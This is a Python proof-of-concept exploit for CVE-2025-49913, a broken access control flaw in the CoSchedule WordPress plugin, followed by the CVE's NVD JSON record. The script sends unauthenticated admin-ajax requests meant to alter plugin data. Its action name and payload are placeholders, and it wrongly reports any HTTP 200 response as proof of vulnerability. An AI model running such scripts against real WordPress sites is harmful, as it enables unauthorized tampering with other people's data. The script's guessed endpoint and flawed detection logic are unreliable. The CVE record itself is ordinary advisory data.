CVE-2025-49913

# CVE-2025-49913 - CoSchedule Broken Access Control PoC # Vulnerability: Missing Authorization in CoSchedule WordPress Plugin (<= 3.4.0) # Discovered by: [email protected] # # This PoC demonstrates exploitation of the broken access control vulnerability # by sending unauthorized requests to vulnerable plugin endpoints. import requests # Target WordPress site URL TARGET_URL = "http://target-wordpress-site.com" # The vulnerable endpoint exposed by the coschedule-by-todaymade plugin # (exact endpoint path may vary based on plugin version) VULNERABLE_ENDPOINT = "/wp-admin/admin-ajax.php" # Action hook used by the CoSchedule plugin without proper authorization checks # Common actions include: coschedule_load_templates, coschedule_save_settings, etc. ACTION = "coschedule_endpoint_action" def exploit_broken_access_control(): """ Exploit the missing authorization vulnerability in CoSchedule plugin. No authentication or nonce token is required. """ headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest" } # Payload to manipulate plugin settings/data (example) payload = { "action": ACTION, "post_id": "1", "coschedule_data": "malicious_payload_here" } try: # Send unauthorized request - no cookies, no nonce token response = requests.post( f"{TARGET_URL}{VULNERABLE_ENDPOINT}", data=payload, headers=headers, timeout=10 ) if response.status_code == 200: print(f"[+] Request successful (HTTP {response.status_code})") print(f"[+] Response: {response.text[:500]}") # Check if the operation was performed without authorization if "success" in response.text.lower() or response.status_code == 200: print("[!] VULNERABLE: Operation succeeded without authentication!") return True else: print(f"[-] Request failed with HTTP {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("[*] CVE-2025-49913 PoC - CoSchedule Broken Access Control") print("[*] Testing target:", TARGET_URL) exploit_broken_access_control()

{"cve": {"id": "CVE-2025-49913", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:37.317", "lastModified": "2026-04-27T20:16:16.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in CoSchedule CoSchedule coschedule-by-todaymade allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects CoSchedule: from n/a through <= 3.4.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/coschedule-by-todaymade/vulnerability/wordpress-coschedule-plugin-3-4-0-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}